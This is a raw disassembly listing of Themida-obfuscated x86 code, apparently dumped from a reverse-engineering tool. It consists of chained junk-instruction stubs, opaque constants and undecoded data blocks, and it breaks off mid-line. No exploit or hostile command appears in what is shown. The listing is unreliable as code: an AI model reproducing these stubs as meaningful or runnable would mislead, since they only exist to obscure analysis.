; --------------------------------------------------------------------------- loc_566366: ; CODE XREF: Themida_:0055EE3Dj mov [esp], esi push ebx jmp loc_556958 ; --------------------------------------------------------------------------- db 89h dd 6DB9240Ch, 0E95F9B41h, 0FFFEB9FFh, 6EAC14Ah, 0EA81D2F7h dd 9332C2F3h, 0FF9757E9h db 0FFh ; --------------------------------------------------------------------------- loc_56638D: ; CODE XREF: Themida_:00558FAEj pop edi jmp loc_55AC87 ; --------------------------------------------------------------------------- db 5 dd 1E42936h, 743DBF57h, 6AE97E42h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663A3: ; CODE XREF: Themida_:0055AC89j pop esi add esi, 4 add esi, 4 jmp loc_565DFD ; --------------------------------------------------------------------------- db 5, 0, 0A6h dd 0C201A2D9h, 5724048Bh, 0C781E789h, 4, 8704C783h, 685C243Ch dd 6426h, 0BF243C89h, 4, 3C8BFA29h, 25EFE924h, 8B66FFFFh dd 68572404h, 5D4Eh, 81242489h, 42404h, 3C8B0000h, 4C48124h dd 53000000h, 0A16266BBh, 0CCE38159h, 81325962h, 4B3AC5EBh dd 5DE3812Ah, 8140E935h, 5FDAA7C3h, 5BDF01BFh, 4EC81h dd 34890000h, 7672E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566432: ; CODE XREF: Themida_:00565FF0j push esi push 381574ECh pop esi shl esi, 1 jmp loc_559041 ; --------------------------------------------------------------------------- aVhm db 'Vhm|',0 align 2 dw 1489h dd 1B98BA24h, 0DAF76027h, 68h, 24142900h, 1EA815Ah, 51000000h dd 558CBD55h, 0EDC13E77h, 0FE7AE904h, 77FFFFFFh, 59669D1Ch dd 2414D366h, 282CE99Ch, 0E94DFFFFh, 0FFFEF03Ah, 0E9E0C680h dd 0FFFFAFB9h ; --------------------------------------------------------------------------- loc_56648C: ; CODE XREF: Themida_:00553B83j add ebp, 0D4618Bh jmp loc_561C6E ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 4BF57h, 0FE010000h, 3FE5685Fh, 25E90000h dd 81FFFF85h, 330ED6EFh, 4FD7F77Bh, 0FF0126E9h, 2434FFFFh dd 38666858h, 0D7E90000h, 81FFFF25h, 4C6h, 4C68100h, 0E9000000h dd 0BDh, 0FABD555Fh, 2917FF5Ch, 5D08246Ch, 4246C01h, 0FF5E61E9h dd 4C781FFh, 33000000h, 16E9243Ch, 81FFFF2Ah, 0B603A2E3h dd 81DBF76Fh, 900302C3h, 5BDF8923h, 0FFBD00E9h db 0FFh ; --------------------------------------------------------------------------- loc_566519: ; CODE XREF: Themida_:0055AC04j add ebx, 5164457Eh mov edi, [esp] add esp, 4 jmp loc_55314E ; --------------------------------------------------------------------------- dw 1489h dd 4BA24h, 54010000h, 0CCE90424h, 89FFFEC2h, 405E0h, 0E9510000h dd 0FFFEC58Ch, 3DB40D5Ch, 0E0C148A0h, 0EABD5505h, 8146863Ch dd 5D7B8DF5h, 8A6AE98Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566562: ; CODE XREF: Themida_:00562B59j xchg ecx, [esp] pop esp loc_566566: ; CODE XREF: Themida_:00561758j push ebx jmp loc_5622E3 ; --------------------------------------------------------------------------- dd 0E4C01CB4h, 29EC8003h, 38DE9h db 0 ; --------------------------------------------------------------------------- loc_566579: ; CODE XREF: Themida_:00557E78j sub dl, 16h shr dl, 2 add dl, 5Fh add cl, dl pop edx add cl, 0EDh and cl, 81h shl cl, 6 add cl, 18h push edx mov dl, 6Ah dec dl dec dl jmp loc_563236 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 8024248Bh, 4DE982EBh, 5BFFFEDCh, 0E953B252h, 0FFFFFCC6h ; --------------------------------------------------------------------------- loc_5665B4: ; CODE XREF: Themida_:005533CFj sub esp, 4 mov [esp], ecx push esp jmp loc_5612D1 ; --------------------------------------------------------------------------- dd 80E2B151h, 0F18625C9h, 0F186DEF6h, 0FE35E980h, 389BE9C9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5665D6: ; CODE XREF: Themida_:005595BEj sub edx, 4 xchg edx, [esp] jmp loc_562CFA ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F7000000h, 9C9CE9D6h, 0D789FFFFh, 0CF44E95Ah, 8EBEFFFFh dd 0C113084Eh, 0E6C108EEh, 0C1DEF702h, 0EE8102E6h, 0A1AB1CEFh dd 0FEF708E9h, 3E8C1FFh, 0FEBAC5E9h, 0E9D088FFh, 0FFFF1CA1h ; --------------------------------------------------------------------------- loc_566620: ; CODE XREF: Themida_:0055F57Ej pop eax and eax, edx push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_560029 ; --------------------------------------------------------------------------- loc_56662F: ; CODE XREF: Themida_:0055668Ej mov [esp], eax mov eax, 632B21EBh jmp loc_562B02 ; --------------------------------------------------------------------------- dd 159C829h, 81BE56E8h, 4E5FDB28h, 8108EEC1h, 7BCF2BF6h dd 5EF0014Eh, 0E92434FFh, 0FFFF3FB1h, 6547EB81h, 0CB0131F4h dd 6547C381h, 0EB8131F4h, 537F73D1h, 0FFC289E9h db 0FFh ; --------------------------------------------------------------------------- loc_566675: ; CODE XREF: Themida_:0055C03Dj add esi, 3C8A1B0h sub edx, esi pop esi add edx, 3532108h not edx not edx push ebp mov ebp, 55FE6ECBh not ebp sub ebp, 46D77646h or ebp, 468C28D8h inc ebp jmp loc_5564A6 ; --------------------------------------------------------------------------- loc_5666A2: ; CODE XREF: Themida_:00559AC7j mov [esp], cx movzx cx, al push cx pushf jmp loc_5516EE ; --------------------------------------------------------------------------- dw 0CF00h dd 1E5CE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5666BA: ; CODE XREF: Themida_:00564DFFj sub ecx, edi pop edi jmp loc_556676 ; --------------------------------------------------------------------------- dw 51BFh dd 8167B335h, 0CD2637EEh, 230EE945h, 0F581FFFFh, 8F668F4h dd 0E9EF8957h, 0FFFF5F0Bh, 1632A72Dh, 0B9515E74h, 3EA046EEh dd 0DEF7F187h, 0F181F187h, 0C15FB916h, 5059C801h, 42474FFh dd 0B7B8E958h, 2966FFFEh, 0EA0566C8h, 538AE930h, 48BFFFFh dd 8B545224h, 0C4812414h, 4, 6FB85057h, 3535324Dh, 22964231h dd 0FFB72DE9h db 0FFh ; --------------------------------------------------------------------------- loc_566731: ; CODE XREF: Themida_:00552B71j mov cl, dl mov ah, cl pop ecx jmp loc_55B322 ; --------------------------------------------------------------------------- db 81h dd 372BFBE9h, 0C8C181A6h, 8120206Eh, 659F4DC1h, 59CB8996h dd 91E9D801h, 5DFFFEE2h, 7FA30ABFh, 8BC7296Eh, 0EC832404h dd 241C8904h, 0E957E389h, 0FFFF0B41h ; --------------------------------------------------------------------------- loc_566770: ; CODE XREF: Themida_:0055B26Fj pop ebx mov ah, dl pop edx jmp loc_565938 ; --------------------------------------------------------------------------- db 29h, 0D6h, 5Ah dd 0FF2D3CE9h, 242489FFh, 4E468h, 24348900h, 2898B951h dd 6CBE26A9h, 1D956D7h, 0E95259CEh, 0FFFF5CBDh ; --------------------------------------------------------------------------- loc_5667A0: ; CODE XREF: Themida_:0055FCA1j pop esp mov [esp], edi jmp loc_560EFA ; --------------------------------------------------------------------------- db 1, 0C5h, 58h dd 0E9242C33h, 0FFFFA7A1h, 55EA815Ch, 565FDD46h, 0FFF605E9h dd 243433FFh, 8924248Bh, 99E92414h, 81FFFF43h, 0A175F7C1h dd 0F1815A30h, 5066FE5Ch, 8904EC83h, 481240Ch, 9D20B424h dd 0ED815D1Dh, 1D9D20B4h, 0FFB20EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5667F5: ; CODE XREF: Themida_:005556F5j or ecx, 709F4D62h sub ecx, 1B3B1114h mov esi, ecx jmp loc_564C03 ; --------------------------------------------------------------------------- dd 37E9E089h, 81FFFF60h, 0AB6FD0F6h, 0F476E941h, 5F54FFFEh dd 4BA52h, 0D7010000h, 0E924148Bh, 0FFFF77A9h, 15DE901h dd 3C3359CFh, 243C3124h, 0FF5C3EE9h, 2B9FFh, 0BE560000h dd 76A11B48h, 0E907E6C1h, 0FFFF2876h, 8124048Bh, 4C4h dd 9CE94900h, 8FFFFECDh, 8E92404h, 5AFFFFA1h, 0E959CD31h dd 0FFFFFE62h, 0FC2CC381h, 0DE01D1F2h, 0FFFC1AE9h, 8BEE81FFh dd 561A1C37h, 87242C81h, 5B0C4D63h, 6387C381h, 348B0C4Dh dd 0D6A6E924h, 36B4FFFEh, 2867EC80h, 0B60F58E3h, 87048FC0h dd 0FEAE41E9h, 0ECB850FFh, 357AEC14h, 7AEC14DCh, 0C8E9C389h dd 51FFFFC2h, 0C1815954h, 4, 4C181h, 7FE90000h, 66FFFF47h dd 0E924048Bh, 0FFFFCA29h, 0EB88F588h, 0E3805A59h, 0ECEB807Ch dd 5BDA88h, 0ED1FE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5668F2: ; CODE XREF: Themida_:00551FF3j add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi jmp loc_566C63 ; --------------------------------------------------------------------------- dw 0F480h dd 80C4FEF8h, 0D0B3A0F4h, 0F6F2F380h, 0FE5366DBh, 71E9240Ch db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56691F: ; CODE XREF: Themida_:0056016Bj add esp, 4 push edi mov edi, 26E454Bh jmp loc_564DEA ; --------------------------------------------------------------------------- dd 8BEC885Bh, 0C483240Ch, 0B391E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56693E: ; CODE XREF: Themida_:00565841j push ebx mov ebx, 4 add [esp+4], ebx pop ebx mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_55EE80 ; --------------------------------------------------------------------------- db 1, 0F7h, 81h dd 0BB6F79EFh, 0B8505E44h, 7CC87419h, 0FF71D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_566971: ; CODE XREF: Themida_:005655F3j not bh sub esp, 4 mov [esp], eax mov ah, 98h jmp loc_55DDE1 ; --------------------------------------------------------------------------- dd 0A9B95153h, 89274428h, 814B59CBh, 217EDBC3h, 0FB874370h dd 0FFB4D2E9h, 92B353FFh, 5166DBF6h, 96E99AB5h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebx, [esp] mov esp, [esp] jmp loc_551F86 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8124h, 89000000h, 0E954242Ch, 0FFFFEAADh ; --------------------------------------------------------------------------- loc_5669D8: ; CODE XREF: Themida_:0055A49Bj sub edx, 393B314Ch jmp loc_56441D ; --------------------------------------------------------------------------- loc_5669E3: ; CODE XREF: Themida_:005551B4j add esp, 4 push ecx mov ecx, 3D700E62h not ecx inc ecx sub ecx, 46230884h jmp loc_558454 ; --------------------------------------------------------------------------- dw 1489h dd 4EC8324h, 81242489h, 42404h, 0F1E90000h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A0F: ; CODE XREF: Themida_:005616EBj push esp push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_565432 ; --------------------------------------------------------------------------- db 0BAh dd 6B1697Eh, 46F4ED81h, 0D5012AD8h, 0FEEA57E9h, 4EC83FFh dd 0E9243C89h, 0FFFFD225h, 5C241C87h, 5004C083h, 42474FFh dd 0FF2E39E9h, 4C483FFh, 0FF94A5E9h, 319268FFh, 34890000h dd 1BE24h, 77090000h, 2434FF1Ch, 0FF58B9E9h, 7663B9FFh dd 25E94518h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A7F: ; CODE XREF: Themida_:0055A287j xor esi, ebp jmp loc_56190F ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFED2E4h ; --------------------------------------------------------------------------- loc_566A8C: ; CODE XREF: Themida_:00555E7Bj push ebx mov ebx, 0FFFFFFFFh jmp loc_56462F ; --------------------------------------------------------------------------- loc_566A97: ; CODE XREF: Themida_:00555D9Aj sub ebx, ebp pop ebp add edi, ebx pop ebx sub esp, 4 mov [esp], esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] jmp loc_55535E ; --------------------------------------------------------------------------- dw 0BE56h dd 5FE51D7Fh, 0F704EEC1h, 0E5C681DEh, 0E96A2F69h, 0FFFF9339h ; --------------------------------------------------------------------------- loc_566ACC: ; CODE XREF: Themida_:00551757j sub eax, 0A881135h jmp loc_552182 ; --------------------------------------------------------------------------- dw 478Fh dd 0AC10E940h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566ADE: ; CODE XREF: Themida_:0055DDF6j add esp, 4 push 317Bh mov [esp], ecx jmp loc_55DFF9 ; --------------------------------------------------------------------------- db 1, 0C3h, 50h dd 1BE95653h, 5EFFFEDBh, 90E9EE31h, 5AFFFED1h, 0FEE87CE9h db 0FFh ; --------------------------------------------------------------------------- loc_566B09: ; CODE XREF: Themida_:00553E96j mov [eax], edx mov eax, [esp] add esp, 4 pop ebx jmp loc_56306A ; --------------------------------------------------------------------------- dw 0C681h dd 36FB0537h, 38A8CE81h, 0F68149A4h, 7D8B425Eh, 0C681D6F7h dd 6D249B3Ch, 7BE9F509h, 5FFFFEB7h, 4C781h, 0C7830000h dd 68CEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566B4A: ; CODE XREF: Themida_:0055C458j mov edi, [esp] jmp loc_554AFC ; --------------------------------------------------------------------------- loc_566B52: ; CODE XREF: Themida_:00558B17j pop esp mov [esp], esi push esp jmp loc_557C5C ; --------------------------------------------------------------------------- aYAU db 'Y[€Åž',0 dw 80F5h dd 34FF9EEDh, 89505A24h, 2342E9E0h, 1C8BFFFFh, 4C48124h dd 52000000h, 0EE80E4B6h, 332C80h, 5A3304F0h, 0FED9C0E9h dd 0E1C159FFh, 4DC18107h, 892896ECh, 0A696E9CBh, 8158FFFFh dd 910B8FC3h, 942EE93Fh, 0F031FFFFh, 0BF57C631h, 5D604192h dd 18E9FE01h, 5DFFFF8Ah, 8904EC83h, 14F7242Ch, 242C8B24h dd 4C481h, 62E90000h, 5CFFFF83h, 57E68956h, 71734DBFh dd 0EDC1E93Ch, 0F521FFFEh, 83FDE95Eh, 31ADFFFFh, 0E044E9D8h dd 4B8FFFEh, 81000000h, 0F83246C6h, 0B588E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566C02: ; CODE XREF: Themida_:0055ADD5j pop ebx mov ecx, [esp] add esp, 4 add eax, 620C48CFh mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebx, 1DDE4561h sub ebx, eax jmp loc_555BB0 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 2557F4EDh, 8BE90170h, 1E9242Ch, 31FFFEC9h, 24148BD6h dd 81E38953h, 4C3h, 4C38300h, 0FF9D90E9h, 27F868FFh, 55E90000h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566C63: ; CODE XREF: Themida_:00566901j xor edi, [esp] jmp loc_55E096 ; --------------------------------------------------------------------------- loc_566C6B: ; CODE XREF: Themida_:00555011j shl ecx, 7 xor ecx, 27C8A93Ah sub ebx, ecx pop ecx push dword ptr [ebx] pop ecx pop ebx mov eax, [esp] jmp loc_5593D2 ; --------------------------------------------------------------------------- loc_566C83: ; CODE XREF: Themida_:00562CCFj mov [esp], esi push 277D2929h mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_562A4B ; --------------------------------------------------------------------------- dw 0BB53h dd 6ACE6B61h, 0FEBB02E9h, 1F368FFh, 14890000h, 90FE924h dd 875BFFFFh, 71E9243Ch db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566CC3: ; CODE XREF: Themida_:00563634j mov ebx, esp push esi mov esi, 4 sub ebx, 791D1FB8h add ebx, esi add ebx, 791D1FB8h push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55BF50 ; --------------------------------------------------------------------------- loc_566CF9: ; CODE XREF: Themida_:0055BEBEj mov ecx, 5E7D002Ch neg ecx add ecx, 9145521Eh and edi, ecx pop ecx neg edi push ebx mov ebx, esp jmp loc_55789F ; --------------------------------------------------------------------------- loc_566D13: ; CODE XREF: Themida_:0055F744j xor esi, 35F78CFh sub esi, 44836535h add esi, 24E81C82h sub esi, 0E684DEDh sub esp, 4 mov [esp], ebp jmp loc_55A56B ; --------------------------------------------------------------------------- dw 0EF01h dd 243C335Dh, 33243C31h, 0FDE9243Ch db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566D47: ; CODE XREF: Themida_:00563DC9j add esp, 4 add ebp, 23024E10h add ebp, eax sub ebp, 23024E10h jmp loc_563BE3 ; --------------------------------------------------------------------------- db 68h, 0Ah, 6 dd 0C890000h, 0D48BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566D6A: ; CODE XREF: Themida_:0055C905j mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], ecx push 4D0774D4h pop ecx shl ecx, 8 jmp loc_5635EE ; --------------------------------------------------------------------------- loc_566D87: ; CODE XREF: Themida_:005586FFj add eax, edi jmp loc_55FC79 ; --------------------------------------------------------------------------- dw 71BDh dd 8178170Ch, 304949E5h, 1ED814Ch, 0E9000000h, 0FFFEBB38h dd 740AE952h, 0AE8FFFFh, 91000000h, 7178274Dh, 0F084EBD5h dd 6DF380A5h, 38E0F5Ah, 0F000000h, 0C281CBBFh, 6FA6h, 8A0Fh dd 68BE0000h, 8143E598h, 0E57C9FEEh, 0F3816643h, 28BA17Eh dd 96C3C081h, 58B33C81h, 0E745F081h, 23B77FDEh, 0A54DC081h dd 0F1814208h, 50E92998h, 0F88B6050h, 0DF816657h, 615B6FA9h dd 0CE9028Fh, 49000000h, 0A79412FBh, 16407C46h, 832B51E2h dd 5B5104EAh, 1EE81h, 850F0000h, 0FFFFFFB2h, 0BBCB8166h dd 47E985h, 50410000h, 53554094h, 32335245h, 6C6C642Eh dd 56444100h, 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h dd 6C6C64h, 0A07D7h, 1D0001h, 30010h, 1C40019h, 4 dup(0) dd 8F3E900h, 680000h, 0E9062DA9h, 0FFFDD7D0h, 2DA97268h dd 0D7C6E906h, 7368FFFDh, 0E9062DAAh, 0FFFDD7BCh, 2DABE168h dd 0D7B2E906h, 4C68FFFDh, 0E9062DACh, 0FFFDD7A8h, 2DAD6868h dd 0D79EE906h, 0DD68FFFDh, 0E9062DADh, 0FFFDD794h, 108CB8A5h dd 0A05C60F7h, 0F32F1147h, 3FFBDD94h, 48447EE0h, 79E17A3Dh dd 2E2C4B47h, 0DA7F9814h, 8BCD2AE6h, 84AB71ADh, 0C668F678h dd 3E8D8B92h, 0F4270E73h, 17966D6Fh, 53B84E73h, 33418EE3h dd 8AC68D92h, 65A0BAD9h, 59B2CEFEh, 625C8C1h, 3F0D70FAh dd 2A15056Dh, 0F0F4E456h, 36F10D6Bh, 0D2F46C2Bh, 500661F9h dd 0F811BF6Eh, 658761C4h, 0AEACEB15h, 0CB20CA94h, 8EC98B11h dd 0FE3D5DAEh, 0CBAB4553h, 40DE8B11h, 3ADBB24h, 768B11CBh dd 0F5034CE8h, 953CDE40h, 0A1EC7BE7h, 70E95261h, 94E37F4Ch dd 64FB8FE5h, 36C5C460h, 2FB8B505h, 0F0DBED70h, 8490BF6Eh dd 9308AFC9h, 18ED7510h, 97AB0042h, 6FF3B27Bh, 85A3A5E0h dd 5076EE09h, 5A3CBD22h, 0C479430h, 742h, 2CE8DC81h, 7CB88CD3h dd 8F0B3D23h, 0DBD7F170h, 64A09ABCh, 0A5BD2619h, 520867A3h dd 65BB470h, 0AFA9C6C2h, 0A04F0D89h, 0C6691A94h, 0D1E96F92h dd 2222C781h, 7F9BA704h, 37F2A1ACh, 0B03115B5h, 5349E3F1h dd 223C94EBh, 89AFA986h, 7CED1C22h, 6C78E70Ch, 8AD9EA70h dd 0CFCA1505h, 1D7AB68Ah, 54AB0044h, 61883A1Ch, 644A2A40h dd 6D09CB7h, 6AF30000h, 1E45A25Eh, 0CF95F22Eh, 63E23DF9h dd 282E4945h, 0A86F9A16h, 95112B2Fh, 2AE6E07Ah, 74B094CDh dd 837F591Bh, 842632D9h, 0F992C669h, 0C781677Bh, 0A6052322h dd 50AF7C98h, 5CD53610h, 77F31FE3h, 2F7D96DDh, 3Ch, 0E1C781ABh dd 62F0B125h, 9394EBC0h, 323BF7D1h, 1622ADC2h, 8AC74F16h dd 0D964F36Fh, 4BA0A6BAh, 0C35F61F4h, 9EA2B7CAh, 685C0562h dd 78C1CC83h, 0ACF33AC8h, 4BA0AB62h, 96000006h, 2222C781h dd 5203E804h, 0B7428DE2h, 0A20204C8h, 93A0F4A2h, 944D3AACh dd 444CBDC6h, 8AC60F9Dh, 0FD8F9DB0h, 906D3E0Fh, 0DB30144Dh dd 138F2B47h, 5E5A7CF4h, 0C5125FAFh, 0CB68AB7h, 2AB5A573h dd 4AE4F09Fh, 3F6743E7h, 66457FE0h, 324DBCD8h, 809F1B2Dh dd 0BB06E5DFh, 0F301ACB9h, 6743E779h, 0AA44120Ch, 0DF6743E7h dd 4973E443h, 3240DC62h, 505504E1h, 0CF084390h, 0F2000005h dd 44A35F69h, 94F32F11h, 0E502FEC0h, 314E4A62h, 6E9B1729h dd 16282EABh, 0E7E17D9Ah, 0B18BCC2Bh, 7C5A1A75h, 2735DA80h dd 92C66A85h, 81647CF8h, 0B70AE1C7h, 0ED309BBDh, 247B5074h dd 9E103C31h, 0F394EBC0h, 13F8D36Fh, 3E43261Ah, 199CC185h dd 3394EBDEh, 96D83F2Ch, 0FEF0F97Dh, 81E5FFFFh, 83E22C7h dd 0F3624CA3h, 5002C520h, 504F9834h, 24F73610h, 1979C737h dd 0A59BC12Ch, 2E4F3846h, 55837E8h, 2C38A7C3h, 8AC67985h dd 88BCA5F8h, 1D401F23h, 22BEC02Bh, 0DA1767E6h, 0AFD27F8Dh dd 5EBD7313h, 41AAC6F8h, 41AFFE8Bh, 0BB8FB667h, 414CE38Fh dd 1BD9B71h, 4E470000h, 4DE353B8h, 4996320Ah, 4779DFBAh dd 0BDD3DA64h, 8AC68D18h, 729BE02Fh, 8E491D51h, 0E227B572h dd 71876187h, 8854D6E2h, 31298B11h, 0FAF747F8h, 0C92C2E6Dh dd 0CBF24F30h, 0DDE7A76h, 7E48126Dh, 0F51C8DADh, 10342B66h dd 6A66A7BBh, 953C5BFBh, 0DC39B3FEh, 0E049E3F1h, 223C8D24h dd 4992E055h, 77546AEEh, 0DF4322EBh, 0A6B2410Ch, 8D24B204h dd 3728E179h, 2F3DAAC7h, 9309F6BEh, 831E49D1h, 83224C1h dd 31764CA3h, 2F71464Ch, 5CBB7793h, 49E3F1E4h, 3C874FC8h dd 254167E1h, 0C81CAEBAh, 0E971874Fh, 23DE274Dh, 68BB3059h dd 461E1h, 0C9FB6000h, 99AFB2CDh, 685E021Dh, 341053ACh dd 81BB9FF8h, 9C39F805h, 0EB0480BAh, 3A555173h, 88E72325h dd 6832EEC8h, 6B3BB5C3h, 0CA4E92C6h, 0D6E271F6h, 94EBC054h dd 47F83129h, 5F6DFAF7h, 8AD97907h, 38C7100Eh, 0EAC1075Dh dd 154A5554h, 9773D9E0h, 50EC2A0Fh, 22263B54h, 0D4F272C9h dd 2AD261AEh, 50FB284Ah, 3F6h, 78B490CDh, 8804381Fh, 0DBD7E96Fh dd 67A385BCh, 0B06C5608h, 51099245h, 654B36Fh, 0B2A7C03Ch dd 73F5128Eh, 6C835955h, 0C66CAE40h, 8DA5A392h, 50A30271h dd 0BC2093E1h, 1432324Dh, 0CEE868B7h, 85BB9EFDh, 4286DB26h dd 0D9AD8669h, 6E52E316h, 0B197CDC8h, 85DD5878h, 60EF94EBh dd 0A6052325h, 0A03C185Bh, 33016E69h, 7BB7D97h, 27FFFFFDh dd 54D6E271h, 2994EBC0h, 0AFA9F831h, 0C1312289h, 0C0FF719Fh dd 8C9294EBh, 0B8D9E770h, 0BB8AC6D3h, 47927BDCh, 0A46005DEh dd 0D95C4DE9h, 4E514541h, 8BE858B3h, 9A3B15Ch, 7C94EBC0h dd 0A7043821h, 838E7F9Bh, 0C68DD075h, 2CEB778Ah, 0E4869221h dd 996D3F0Dh, 0D0880881h, 1FD52780h, 761542AFh, 0DD82DDE3h dd 8F7E00EBh, 8FC17480h, 0FA64DB7Bh, 81AF3A11h, 0DF798FEFh dd 4553FC62h, 0DF798FABh, 0D84940DEh, 0B0DC0B68h, 0C154CB1Dh dd 0E2A12E30h, 7C1B4462h, 772BE2C4h, 92AAADE8h, 6A4C041Bh dd 9619D9D8h, 0B49F4CFEh, 2DAh, 545074E9h, 0E420243Bh dd 37F3D58Bh, 43BF99D8h, 8C083224h, 3D25BE61h, 0EA708F0Bh dd 9EC3DCD8h, 57116EAAh, 48E7B571h, 0C66DB23Ch, 6941C792h dd 85D21F6Fh, 0D978A177h, 6BE5908Ah, 28767788h, 0AFD1115Ch dd 932FDF86h, 5BB63844h, 57CB6D39h, 1C4BD756h, 54D6E271h dd 296D395Bh, 0B0A9F831h, 62F7108Ch, 362E8D5Eh, 91B9E210h dd 0CB184A2Ah, 26580h, 0C5FF5C00h, 95ABAEC9h, 645AFE19h dd 30144FA8h, 0FDC79BF4h, 9805F401h, 0E700FCC6h, 36514D77h dd 84E31F21h, 6C2EEACCh, 6D3FB1DFh, 0D65292C6h, 0D21F6FF2h dd 78A17785h, 62FC8AD9h, 2BDE96F5h, 4E79E7F1h, 5753EFA1h dd 0DF0867D6h, 399335B1h, 0E5C6586Dh, 2DFEC096h, 0B584F35Eh dd 0A31DFBA1h, 0B6A8F736h, 55759D5Fh, 0E07C8DA3h, 0AAD62524h dd 39B7EC9Eh, 5DF9616Dh, 0B74CE6F2h, 2A016D39h, 0BD5EF6Fh dd 6D39B761h, 61EE0A14h, 2E3A3F22h, 6D39B79Ch, 0FECD69F1h dd 87DAA960h, 2D00EBCDh, 0E4C0831Eh, 6FB27B07h, 0F984D3F5h dd 0D680C69Ah, 6D39B754h, 0C48986A5h, 0A11AB9FBh, 759270B9h dd 1F8AD5F3h, 0C1EF6F6Fh, 6D39C22Fh, 63733C22h, 0BB87F055h dd 993B9334h, 0FF5221E8h, 2784BEA0h, 6E40921Bh, 76556FEFh dd 0B912362Bh, 0FF7256CFh, 45695DD6h, 7EE92503h, 2B393E23h dd 6D39AD81h, 0DFCE6AF4h, 45A680C0h, 6DB69B06h, 0EE69878Ch dd 447EE03Fh, 5A391467h, 5FC8C107h, 2B0D476Bh, 0F4CE90EFh dd 0CA4D3817h, 12389811h, 201224E5h, 0E9C21A5Dh, 9DFACC92h dd 0D52883C5h, 0CE50BB8Dh, 6D04F87Dh, 224EDD64h, 6D39F288h dd 711F9971h, 15E6E955h, 0A79B8405h, 0A9655F03h, 0E5084Eh dd 3943DAB0h, 775468F1h, 0D8334FEBh, 3E8DC85h, 47085BCh dd 7972C25Bh, 196447E3h, 0F9AD7E5Eh, 37F57C40h, 0E2743A0Eh dd 81C3DCD8h, 0E0E68894h, 879B6D39h, 0DECD806Bh, 0E64C26AEh dd 325E4F7Ch, 0A4CC0D7Ah, 9477490Fh, 0DC2F1149h, 0BEF4C88Dh dd 344AA187h, 17EB1298h, 3BF7D193h, 0D1F7712Ch, 0A98FC9D8h dd 23D733Eh, 0A96ED905h, 0B8718DB3h, 0FEC096E5h, 0FBCF782Dh dd 4C9BBDB7h, 0F6370951h, 64701F08h, 0D5B4A6CAh, 176AA3BFh dd 0A3907B5Dh, 0A3B11E53h, 0CB99A6BEh, 0C24D49D1h dd 7FAE92C7h, 0E6717ECEh, 3992B6ABh, 5B69E821h, 0B1ED1C5Fh dd 8CC32836h, 0F49AB601h, 1099D084h, 0B5715711h, 0EF3C1A5Ah dd 538CA6E1h, 92768FFEh, 87C1241Ch, 0E1CAFC62h, 50EE3D59h dd 206FF834h, 947FBFE1h, 7ADEB9F5h, 0D2DB6744h, 0F17095CFh dd 0D50BBD7h, 0EF99724Ah, 241C9276h, 0EF698602h, 36BE2C9h dd 4F000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h, 312D705Bh dd 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h dd 5708D833h, 0C781E789h, 4, 4EF81h, 3C870000h, 34895C24h dd 17CF6824h, 4890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 62DA824h mov eax, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push edx mov edx, 8 add edx, ecx push eax pop dword ptr [edx] pop edx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_544660 ; --------------------------------------------------------------------------- dd 0F3413013h, 0B067B877h, 0C503062Dh, 986CE0FFh, 9F44760h dd 61F45854h, 69FC6A40h, 0F4596B76h, 0CC6817FDh, 0EC9D3D7Eh dd 86766AC0h, 23F86F21h, 0A9882633h, 2FFE248Ch, 2350253Dh dd 381127BDh, 0CC01EC7h, 9EE74846h, 58B6779h, 0AE54201Dh dd 3287576Bh, 0DCB246BAh, 0C5CA70D0h, 8DE927AFh, 60000000h dd 1C75BD83h, 0F00062Bh, 584h, 78E900h, 6A0000h, 0F303E80h dd 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh, 106A0000h dd 24E946h, 3E800000h, 8850F34h, 6A000000h, 